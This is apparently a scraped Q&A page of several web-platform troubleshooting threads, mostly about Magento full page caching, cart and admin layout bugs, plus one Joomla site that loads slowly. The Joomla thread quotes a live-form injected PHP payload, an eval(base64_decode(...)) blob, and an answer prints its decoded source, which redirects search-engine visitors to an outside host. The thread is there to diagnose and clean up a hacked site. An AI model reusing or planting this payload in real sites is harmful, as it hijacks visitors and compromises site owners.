Magento 2 Bundle Product Cache - magento

I'm working on a site developed by a third party, which is Magento 2.1 and uses bundle products heavily. Most of the bundles are made of 260 child products as a choice, and inevitably makes loading the product page for them incredibly slow.
On Mage 1 it was simple enough to use Full Page Caching to cache the bundle product options and speed up the load with pre-caching, but FPC in Mage 2 is clearly very different.
The main slowdown appears to be from the form and options blocks called in the catalog_product_view.xml for the theme, as they iterate over all the child products before rendering the page, so I've tried adding;
cacheable="true"
To those specific blocks, but it's made no difference.
Anyone have any other idea's for how to cache Magento 2 bundle product pages?
EDIT EDIT
I've just tried plugging the database into a fresh install of Magento 2.1 and can see that bundle products are being added to the var/page_cache directory. On the client server, the only thing being written to that directory are tags and header info.
So then new angle... why would Magento 2 not write any FPC html to the page_cache directory? Something higher up the tree has erroneously has cacheable=false set against it perhaps? I'll get digging

Sorry, I cannot comment your last post.
Do you try to use Varnish as the HTTP cache ? Magento recommendation is to use Varnish and Redis as cache backend.

So I found the issue, and it was a mistake made by the people who built the site, and the module creators of magepal magento2-googletagmanager. In both instances, the blocks had;
cacheable="false"
in the layout XML. Setting this on any block on a page will stop the whole page from cacheing. So remove that line, and add;
$this->_isScopePrivate = true;
In to the blocks __construct function. Problem solved.

Related

Magento 2 2.3 Full Page Cart issue

Is currently working on a new M2 2.3 site to replace my M1.
Almost done but I have found an issue with the cart and full page cache.
When full page cache is enable and I add a product to cart its all good. But when I move to another category and add another product the cart gets empty and start all over again.
If I disable the full page cache the cart works fine.
Anyone have an idea of what i might be?
The site is still in devolopment.
It might be related to the Magento_Persistent module. There is a native bug with FPC when you disable this module. The issue has been reported in the link below:
https://github.com/magento/magento2/issues/21614

magento broken shopping rule page

I have a problem on magento backend that I am not sure what is happening. Shopping cart price rule was working completely fine, but suddenly the rule page look like this:
screenshoot of shopping rule page
The content of each tab is loaded inside the tab div itself instead of on the content area on the right. Content area is completely empty.
No code was touched in relation with promotions code, or admin/core code at all. I don't see any issue on console or not js code loaded. This is the only page affected (shopping cart price rule page), catalog rule works fine as well as any other with same structure (product page, customer page and such).
I was recently playing around with promotion too much, creating, deleting and editing. And solved a 500 issue on cart page increasing php memory limit. Not sure if related with this issue.
On apache logs it only displays the following when I access that page:
client denied by server configuration: /www/app/etc/local.xml
Could someone help me in where to look in order to solve this issue or have a hint about what could be the issue?
I am completely lost with this one. Magento version 1.7.
Thanks.
I finally found the issue. It was a extension related.
Recently I had some issues on cart page and at some point I disabled a promotion extension (Amasty shipping rules) though magento backend, on system/advanced extensions list.
Seems like the extension is disabled but still used on promotion page, adding the structure for the feature but not showing what is supposed to show (because is disabled) and breaking the layout.
Enabling again the extension or removing the extension on files avoid the issue.
1) clear the cache maybe you made a update and your cache is wrong. you can clear in the admin side clear all the types, or erase all inside /www/var/cache
2) clear the page history in your browser, all is fine but your machime show that weird.
3) after that check the browser console, because is a css problem, maybe a file is lost or change the permitions.

Can I insert a phpBB Forum into a Magento CMS Static Page or Block?

I'm sure there is a much simpler solution for what I am trying to do here, but I am running out of ideas. Essentially I need to create a phpBB forum what exists within my Magento install so that the header and footer from my Magento store are always visible.
The thought is to use a CMS static page for the forum and then style it accordingly. Is there a way to accomplish what I want to do without significant modification? Or, do I just create a one off .phtml file that calls my header, footer and forum? Am I on the right page or am I over/under thinking this?
You'll need to get around Magento's bootstrap (/index.php), because phpBB won't function if Magento is intercepting every URL.
There's also the issue of Magento and phpBB not sharing authentication systems, so users have to log into one, neither, or both. That's not a great UX if you ask me, but solving that problem is a very complicated issue.
Other than that you shouldn't have many problems.

Joomla loading slow. Menu items not loading

Lately my Joomla website was not showing properly, only the background image was loading, and some minor things.
Somehow the page template (index.php) was changed and some extra code was added. Specifically, this code:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9wb2FzbS5xcG9lLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
was introduced several times throughout the php code, which is causing slow loading times (about 15-20 seconds to load any page) in my website.
It appears your site was hacked, this means it can be hacked again.
If you're using Joomla 1.5 you should make upgrade to at least the 2.5.x line, if you can't make sure you using version 1.5.26.
Next check all the extensions you have installed against the VEL (Joomla!'s Vulnerable Extensions List)
Once you've done that, you should secure you site using products like AdminTools or similar highly rated products from the Site Protection section of the Joomla Extensions Directory etc.
By the way that particular payload was built to capture users referred to your site by search engines and redirect them to http://poasm.qpoe.com/ It decodes to this:
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://poasm.qpoe.com/");
exit();
}
}
}
}
}
I stumbled upon this comment and was finally able to solve my problem.
Just go to administration --> Extensions --> Template Manager. Go to the Templates section, select your template, select Edit main page template, and get your index.php rid of all those garbage function calls. Cleaning it solved the problem for me, now everything is back to normal, everything loads as fast as before and all the pages display properly.

Magento Full Page Cache and Theme

I am using magento full page cache, EE 1.11.2. For some reason my secondary mobile theme is displaying on some of my catalog pages. e.g. two out of 6. This only happens with FPC on. It is reoccurring and happens on the same pages. The cache can be valid or invalid. I have not found any information on a topic similar to this. Any ideas or suggestions on how to solve this?

Resources